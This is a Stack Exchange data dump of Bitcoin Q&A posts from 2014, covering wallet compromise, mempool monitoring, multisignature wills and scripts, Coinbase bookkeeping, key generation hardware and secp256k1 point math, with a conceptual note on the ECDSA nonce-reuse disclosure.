  <row Id="33977" PostTypeId="2" ParentId="33975" CreationDate="2014-12-11T17:58:44.927" Score="2" Body="&lt;p&gt;If someone gets access to your private keys, they can create a transaction that spends your coins.  This transaction can be created and sent from any computer in the world.  There's no need for your computer to be involved, and it's irrelevant whether your wallet software is open or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that some person or malicious software had access to your computer at some  point during the last year (or before) and copied the file which contains your private keys.  If it was encrypted, they would need to decrypt it, but if your passphrase is simple enough, that may not be very difficult.  Their software may also have been running earlier and recorded your passphrase at some point when you typed it, or extracted the private keys from the computer's memory while the wallet software was running.  For whatever reason, they may have waited some time before spending them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were other copies of your private keys somewhere else (such as in a backup, or on an old computer or phone that you gave away or had stolen), then that is another place they could have got them.  In that case your computer needn't have ever been involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should probably assume at this point that your computer is compromised.  The safest course of action is to back up all your data files (but not the operating system or application programs), wipe the system and reinstall it.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-12-11T17:58:44.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33979" PostTypeId="2" ParentId="33975" CreationDate="2014-12-11T19:25:25.917" Score="1" Body="&lt;p&gt;If you want to get a new set of addresses, then I would try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure all untrusted software is uninstalled (mining software or otherwise). &lt;/li&gt;&#xA;&lt;li&gt;Send all your coins to a different (trusted) wallet for temporary storage.&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin-QT.&lt;/li&gt;&#xA;&lt;li&gt;Delete your wallet.dat file.&lt;/li&gt;&#xA;&lt;li&gt;Reopen Bitcoin-QT (it will make a new wallet.dat file for you). &lt;/li&gt;&#xA;&lt;li&gt;Get a new address from Bitcoin-QT and send all your coins keys back to that address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-11T19:25:25.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33980" PostTypeId="1" CreationDate="2014-12-11T21:40:24.757" Score="2" ViewCount="356" Body="&lt;p&gt;I have 2 servers with running the same Bitcoin Core v0.9.3.0-g40d2041-beta (64-bit).&#xA;I use getrawmempool to get all new transactions in the same time but I have different result. One server always have more transactions. Difference quite big - about 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying monitor all new transactions for some reasons and this difference means for me that getrawmempool not is not good way for this.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="2306" LastEditDate="2014-12-11T22:36:41.440" LastActivityDate="2015-05-11T18:00:29.260" Title="2 bitcoinqt - getrawmempool returns different results" Tags="|bitcoin-core|mempool|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33981" PostTypeId="2" ParentId="32878" CreationDate="2014-12-12T00:02:06.047" Score="3" Body="&lt;p&gt;This is &lt;a href=&quot;http://en.wikipedia.org/wiki/Double-checked_locking&quot; rel=&quot;nofollow&quot;&gt;double-checked locking&lt;/a&gt;, which is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...a software design pattern used to reduce the overhead of acquiring a lock by first testing the locking criterion [...] without actually acquiring the lock.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This pattern can be fraught with issues; even folks who otherwise know what they're doing can be bitten by subtle issues.  See, for example, &lt;a href=&quot;http://www.aristeia.com/Papers/DDJ_Jul_Aug_2004_revised.pdf&quot; rel=&quot;nofollow&quot;&gt;C++ and the Perils of Double-Checked Locking&lt;/a&gt; by Scott Meyers and Andrei Alexandrescu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particular use case you cite looks fairly innocuous, though.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-12T00:02:06.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33982" PostTypeId="2" ParentId="33980" CreationDate="2014-12-12T00:21:47.503" Score="0" Body="&lt;p&gt;getrawmempool: lists the transactions in bitcoind's memory and isnt the best way to monitor all new transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use data from blockexplorers, the best one that does address tracking and analysis is blocktrail.com&lt;/p&gt;&#xA;" OwnerUserId="21394" LastActivityDate="2014-12-12T00:21:47.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33983" PostTypeId="2" ParentId="33965" CreationDate="2014-12-12T00:25:58.393" Score="2" Body="&lt;p&gt;It would be possible to use a multisignature scheme in order to will the bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;2 out of 3 multisignature address&lt;/strong&gt; would be shared among three keys controlled by the bequeather X, the heir Y, and a trusted third party Z, for example the notary of X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any two parties of the three could move the money:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bequeather X could change his will with the help of Notary Z.&lt;/li&gt;&#xA;&lt;li&gt;After demise of X, Heir Y can access the funds with support from Notary Z.&lt;/li&gt;&#xA;&lt;li&gt;Bequeather X and Heir Y could access it in advance for other reasons.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/a/33966/5406&quot;&gt;Nick has pointed out&lt;/a&gt;, this would have to be done before the demise of the Bequeather, otherwise access would fall to whoever ended up in control of the private key, or the bitcoins would be lost if no-one regained it.&lt;/p&gt;&#xA;" OwnerUserId="21394" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-12-12T16:43:21.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33984" PostTypeId="2" ParentId="32964" CreationDate="2014-12-12T00:30:39.223" Score="-1" Body="&lt;p&gt;if giving Bitcoin as a gift - it would depend who the recipient is and how they claim it.&#xA;Basically if they are reporting it as income, or taxable benefit then there should be taxes.&lt;/p&gt;&#xA;" OwnerUserId="21394" LastActivityDate="2014-12-12T00:30:39.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33986" PostTypeId="2" ParentId="30577" CreationDate="2014-12-12T00:42:04.520" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/api/docs#api_address&quot; rel=&quot;nofollow&quot;&gt;BlockTrail's address API&lt;/a&gt; will do what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://api.blocktrail.com/v1/btc/address/1NcXPMRaanz43b1kokpPuYDdk6GGDvxT2T?api_key=MY_APIKEY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;address&quot;: &quot;1NcXPMRaanz43b1kokpPuYDdk6GGDvxT2T&quot;,&#xA;    &quot;hash160&quot;: &quot;ED12908714FFD43142BF9832692017E8AD54E9A8&quot;,&#xA;    &quot;balance&quot;: 49497392,&#xA;    &quot;received&quot;: 115015000,&#xA;    &quot;sent&quot;: 65517608,&#xA;    &quot;unconfirmed_received&quot;: 0,&#xA;    &quot;unconfirmed_sent&quot;: 0,&#xA;    &quot;unconfirmed_transactions&quot;: 0,&#xA;    &quot;total_transactions_in&quot;: 4,&#xA;    &quot;total_transactions_out&quot;: 10,&#xA;    &quot;category&quot;: &quot;donations&quot;,&#xA;    &quot;tag&quot;: &quot;blocktrail&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21394" LastEditorUserId="2306" LastEditDate="2014-12-13T04:34:09.803" LastActivityDate="2014-12-13T04:34:09.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33987" PostTypeId="1" AcceptedAnswerId="33992" CreationDate="2014-12-12T00:44:38.563" Score="0" ViewCount="535" Body="&lt;p&gt;In &lt;a href=&quot;https://blockchain.info/tx/c33292e05db5296afec060a5e00dc25d7083674bad0e4462a0335cfa46849490&quot; rel=&quot;nofollow noreferrer&quot;&gt;this transaction&lt;/a&gt;, I transferred 2 BTC from my Coinbase.com wallet to an external address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d4wp4.jpg&quot; alt=&quot;Transaction Outputs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are there 3 outputs in the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the output of 2 BTC, and the 0.0001 BTC transaction fee.  One of the outputs is likely a change address.  But I don't know what the 3rd output is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is/does Coinbase.com&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;combine unrelated user transactions into a single blockchain transaction?&lt;/li&gt;&#xA;&lt;li&gt;tracking user's funds or transactions off the blockchain (effectively commingling funds)?&lt;/li&gt;&#xA;&lt;li&gt;extracting its own fee from the transaction?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-12T05:28:35.477" Title="Is Coinbase.com combining / commingling transactions or funds?" Tags="|transactions|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33988" PostTypeId="1" AcceptedAnswerId="33989" CreationDate="2014-12-12T03:15:11.123" Score="1" ViewCount="340" Body="&lt;p&gt;I don't mean hardware wallet like Trezor but simply a device that is non-programmable, and not network connectable but will generate key pairs (+ the associated address would be handy but that could be done in software on only the pubkey without too much risk?) at the push of a button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if this is one way to create a paper wallet and have it receive a number of BTC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Generate a privkey/pubkey pair&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Write the privkey down, duplicate it and store the copies safely. I guess this could potentially be split into pieces and stored in several separate places so that breach or loss of one does not give away the full privkey or lose the information needed to recreate it (like a paper RAID array implemented with three familiy members?) [and write recovery instructions in your testament]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.Generate the bitcoin address associated with the pubkey (not so risky, afaict)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.Receive the payment at this address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until it comes to spending the BTC (which could be quite some time in the future) there would be no need for a software wallet, and certainly no need to use an online key generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the absence of a hardware key generator I suppose downloading trusted code from sourceforge or somewhere and running it yourself on a non-networked computer is pretty much as secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I realize rolling dice is fine to generate a privkey but the associated pubkey pretty much has to be done in code somewhere, no?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound feasible?&lt;/p&gt;&#xA;" OwnerUserId="21468" LastEditorUserId="2306" LastEditDate="2017-04-25T20:01:49.317" LastActivityDate="2017-04-25T20:01:49.317" Title="Are there any hardware privkey/pubkey generators out there?" Tags="|paper-wallet|wallet-security|hardware-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33989" PostTypeId="2" ParentId="33988" CreationDate="2014-12-12T03:46:24.463" Score="1" Body="&lt;p&gt;There are no devices I know of which are dedicated to nothing but generating secp256k1 key pairs.  I suspect there never will be---that's a super-niche market possibly consisting of just you.  Moreover, I think you should be suspicious of any hardware designed to generate private keys for Bitcoin: corrupting such hardware to produce predictable keys could be highly profitable---at your expense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, messing around with private keys directly has a high probability of ending in lost bitcoins.  A $50 USD used netbook from eBay to use as an offline signing-only wallet will be much easier to use and at least as secure as any system you think up yourself, provided you choose a secure wallet.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-12T03:46:24.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33990" PostTypeId="2" ParentId="32275" CreationDate="2014-12-12T04:00:52.787" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have a S2 Antminer since April 2014, and has been on for 6 months and stopped working recently (oct-2014). I can turn it on and it shows power, but the LCD is blank and when opening the cover to see if there is anything loose, everything seems fine. I tried to take out the MicroSD card that is connected to the controller card inside and I cannot seem to be able to see it on my computer. It doesnt detect at all.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you bought your S2 from bitmain, ebay or amazon, contact the seller as the S2's have a 1 year warranty from manufacturer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitmain now has a repair center in Denver, so the unit would not have to be shipped back to Hong Kong.&lt;/p&gt;&#xA;" OwnerUserId="21494" LastEditorUserId="2306" LastEditDate="2014-12-12T06:50:41.030" LastActivityDate="2014-12-12T06:50:41.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33992" PostTypeId="2" ParentId="33987" CreationDate="2014-12-12T05:28:35.477" Score="2" Body="&lt;p&gt;Yes, simply put, Coinbase and some other wallet/merchant services have internal bookkeeping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you've deposited 2 BTC. Soon thereafter coinbase will move funds around:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to cover other deposits/withdrawals&lt;/li&gt;&#xA;&lt;li&gt;to exchange&lt;/li&gt;&#xA;&lt;li&gt;to put in a hot/cold wallet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you've deposited your Bitcoin, just like a bank, you're effectively given an IOU (unless for services like Blockchain.info you own the private keys) and your withdrawal will draw upon either a single or multiple inputs to reimburse you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason this is done is twofold:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to cut down on Txn fees&lt;/li&gt;&#xA;&lt;li&gt;because the bitcoin protocol always sends the full input amount (the remainder is sent as change)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By coupling change outputs as credits this allows for internal bookkeeping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It's worth noting that the txn fee wasn't paid by you directly. It's just a standard multi input txn)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-12-12T05:28:35.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33993" PostTypeId="2" ParentId="33988" CreationDate="2014-12-12T06:36:33.393" Score="0" Body="&lt;p&gt;I've read that Verso is &quot;... also working on a system to allow users to create the public/private key(s) offline for security.&quot; (see &lt;a href=&quot;https://axablends.com/merchants-accepting-bitcoin/bitcoin-wallets/verso-cards-bitcoin-cold-storage-for-everyone/&quot; rel=&quot;nofollow&quot;&gt;https://axablends.com/merchants-accepting-bitcoin/bitcoin-wallets/verso-cards-bitcoin-cold-storage-for-everyone/&lt;/a&gt;), though I can find nothing on the Verso website yet (12/11/14) to back this up (not saying I would use it!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://versocards.com/&quot; rel=&quot;nofollow&quot;&gt;https://versocards.com/&lt;/a&gt; - their cards look interesting and don't require two computers but instead use a card encoded with your private key that is scanned by a mobile phone app that actually recreates the key to use for spending. It appears to be a single address/pubkey/privkey system though, from what I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;offline capable wallets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinarmory.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/index.html&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21468" LastActivityDate="2014-12-12T06:36:33.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33994" PostTypeId="2" ParentId="32634" CreationDate="2014-12-12T10:02:50.897" Score="3" Body="&lt;p&gt;From your X value, you can get 2 possible Y values.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;y^2 == (Y * Y) == (-Y * -Y)    (mod p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Depending on the format of the public key in the bitcoin transaction input,&#xA;you can figure out which Y is the one you want to validate against.&lt;/p&gt;&#xA;&lt;p&gt;If the public key starts with 04, then Y is already present in the public key and you don't need to do any calculations to find Y&lt;/p&gt;&#xA;&lt;p&gt;If the public key starts with 02, then the Y value you want is an even number.&lt;/p&gt;&#xA;&lt;p&gt;If the public key starts with 03, then the Y value you want is on odd number.&lt;/p&gt;&#xA;&lt;p&gt;Using your example for X,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;X = 55066263022277343669578718895168534326250603453777594175500187360389116729240&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I compute the possible Y values are,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Y1 = 32670510020758816978083085130507043184471273380659243275938904335757337482424&#xA;Y2 = 83121579216557378445487899878180864668798711284981320763518679672151497189239&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Choose your Y depending on the format of the public key in the bitcoin transaction input.&lt;/p&gt;&#xA;&lt;p&gt;Python code,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;x = 55066263022277343669578718895168534326250603453777594175500187360389116729240&#xA;ysquared = ((x*x*x+7) % p)&#xA;print &amp;quot;ysquared= %s &amp;quot; % ysquared&#xA;y = pow(ysquared, (p+1)/4, p)&#xA;print &amp;quot;y1 = %s &amp;quot; % y&#xA;print &amp;quot;y2 = %s &amp;quot; % (y * -1 % p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I prefer to look at my numbers in hex format, so here is the same example output as hex.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;X = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&#xA;Y1 = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&#xA;Y2 = 0xb7c52588d95c3b9aa25b0403f1eef75702e84bb7597aabe663b82f6f04ef2777&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Python code,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f&#xA;x = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&#xA;ysquared = ((x*x*x+7) % p)    &#xA;print &amp;quot;ysquared= %s &amp;quot; % hex(ysquared)    &#xA;y = pow(ysquared, (p+1)/4, p)&#xA;print &amp;quot;y1 = %s &amp;quot; % hex(y)&#xA;print &amp;quot;y2 = %s &amp;quot; % hex(y * -1 % p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;An example transaction containing the public key X,Y1 (0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2xoin.com/tx/8e2c570498680261040ceffdd15e67dda6c00a885d1e5484f220125f3a5e2c56&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/8e2c570498680261040ceffdd15e67dda6c00a885d1e5484f220125f3a5e2c56&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the time of writing, there were no transactions using the public key X,Y2&lt;/p&gt;&#xA;" OwnerUserId="21130" LastEditorUserId="21130" LastEditDate="2020-12-27T15:44:06.343" LastActivityDate="2020-12-27T15:44:06.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33995" PostTypeId="1" CreationDate="2014-12-12T12:39:11.333" Score="2" ViewCount="89" Body="&lt;p&gt;I've noticed lately that more vendors/companies are accepting Bitcoin: Microsoft being one of the latest and largest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, though, these companies seem to (mostly) immediately convert the currency into &quot;real&quot; money at the current exchange rate, and the transaction is often only completed once your Bitcoins are sold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again as far as I can tell (with my limited knowledge of economics), this will increase the Supply of BTC on the open market (more coins being sold) without particularly increasing the Demand (people without BTC are likely to just pay cash, rather than going through the hassle of buying BTC with cash to use with the vendor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that as more companies accept BTC, the value will drop?&lt;/p&gt;&#xA;" OwnerUserId="21280" LastEditorUserId="21280" LastEditDate="2014-12-12T14:25:38.390" LastActivityDate="2015-05-12T01:59:47.297" Title="Can wider acceptance cause the value to fall?" Tags="|money-supply|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33996" PostTypeId="2" ParentId="32442" CreationDate="2014-12-12T13:49:27.203" Score="1" Body="&lt;p&gt;This is the official guide to building Bitcoin on Linux:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21499" LastEditorUserId="2306" LastEditDate="2014-12-12T21:07:19.573" LastActivityDate="2014-12-12T21:07:19.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33997" PostTypeId="2" ParentId="33995" CreationDate="2014-12-12T14:22:57.213" Score="0" Body="&lt;p&gt;Yes, you are right. I think situation can change if people start accepting payments for their work in bitcoins. Everyone interested in bitcoins should ask boss to get part (or whole) of his wage in bitcoins. It could make the market more balanced.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-12-12T14:22:57.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33998" PostTypeId="2" ParentId="33967" CreationDate="2014-12-12T14:42:17.360" Score="1" Body="&lt;p&gt;I have not seen a thorough technical review. However, after reading about the issue, my understanding is that the issue related to reusing the same &lt;code&gt;k&lt;/code&gt; nonce value for &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow&quot;&gt;ECDSA&lt;/a&gt;, not in generating private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info's blog post about the issue is &lt;a href=&quot;http://blog.blockchain.com/2014/12/08/blockchain-info-security-disclosure/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info's GitHub commit that fixed the issue is &lt;a href=&quot;https://github.com/blockchain/My-Wallet/commit/98d5a7ca59ef04d06ac6aee468634b12975a0f5c&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The individual who noticed its effect on transactions is a forum user by the name of &quot;johoe&quot; and you can see the discussion that unfolded beginning with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=581411.msg9774894#msg9774894&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a known requirement for ECDSA that for each signature with a particular private key, a unique &lt;code&gt;k&lt;/code&gt; value must be used, otherwise with even just two signatures of the same &lt;code&gt;k&lt;/code&gt; the private key used in the signature can be recovered. This issue is described in depth &lt;a href=&quot;http://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/filosottile/blockchainr&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is an open source project that discovers vulnerable private keys on the blockchain. &lt;a href=&quot;https://conference.hitb.org/hitbsecconf2014kul/materials/D1T1%20-%20Filippo%20Valsorda%20-%20Exploiting%20ECDSA%20Failures%20in%20the%20Bitcoin%20Blockchain.pdf&quot; rel=&quot;nofollow&quot;&gt;This slide show&lt;/a&gt; discusses the issue, the open source project, and some investigation into which wallets are susceptible (Blockchain.info is among the unsafe ones listed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution for this has been known for a while: use &lt;a href=&quot;http://tools.ietf.org/rfc/rfc6979.txt&quot; rel=&quot;nofollow&quot;&gt;RFC 6979&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-12T14:42:17.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33999" PostTypeId="2" ParentId="33988" CreationDate="2014-12-12T14:53:13.077" Score="1" Body="&lt;p&gt;There is &lt;a href=&quot;http://cryptographi.com/collections/frontpage/products/piper&quot; rel=&quot;nofollow&quot;&gt;Piper Wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://bitfrore.com&quot; rel=&quot;nofollow&quot;&gt;Bitfrore&lt;/a&gt; is in the works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are self-contained devices which generate and print private key and address pairs.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-12T14:53:13.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34001" PostTypeId="1" CreationDate="2014-12-12T19:11:57.090" Score="4" ViewCount="211" Body="&lt;p&gt;Let's say a coin has been locked with a 2-of-3 challenge script. In other words, spending the coin requires two signatures, each of which matches one of three designated public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I try to spend the coin with a transaction containing, not two signatures, but three. All three signatures are valid and match a different designated public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complete validation script will contain eight values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;3&amp;gt;&#xA;&amp;lt;PK1&amp;gt;&#xA;&amp;lt;PK2&amp;gt;&#xA;&amp;lt;PK3&amp;gt;&#xA;&amp;lt;2&amp;gt;&#xA;&amp;lt;SIG1&amp;gt;&#xA;&amp;lt;SIG2&amp;gt;&#xA;&amp;lt;SIG3&amp;gt;&#xA;&amp;lt;0&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AFAIK, the only way for the interpreter to know the number of signatures is the value &amp;lt;2&gt;, which was provided by the challenge script, not my response script. It seems that the only way for OP_CHECKMULTISIG to know how many signatures to pop is the value &amp;lt;2&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, popping only two values leaves the stack like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;SIG3&amp;gt;&#xA;&amp;lt;0&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the interpreter checks to see that the next value on the stack is 0, which it is not:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/src/script/interpreter.cpp#L894&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0.10/src/script/interpreter.cpp#L894&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, this scenario should lead to failure of the verification script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-07-11T02:33:22.680" Title="Multisignature: what happens if the number of signatures exceeds the &quot;threshold&quot; number of public keys?" Tags="|script|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34002" PostTypeId="2" ParentId="34001" CreationDate="2014-12-12T19:32:54.660" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Then the interpreter checks to see that the next value on the stack is&#xA;  0, which it is not:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not sure, but pushing &lt;code&gt;OP_FALSE&lt;/code&gt; is not a requirement, but some kind a mumbo-jumbo to fix the bug in the very first (and still current) implementation of &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, you can push 3 or even more signatures redeeming 2-of-3 multisignature output. Not all miners will accept this transaction, because it is non-standard. But it will be valid.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="18227" LastEditDate="2015-03-13T00:15:05.107" LastActivityDate="2015-03-13T00:15:05.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
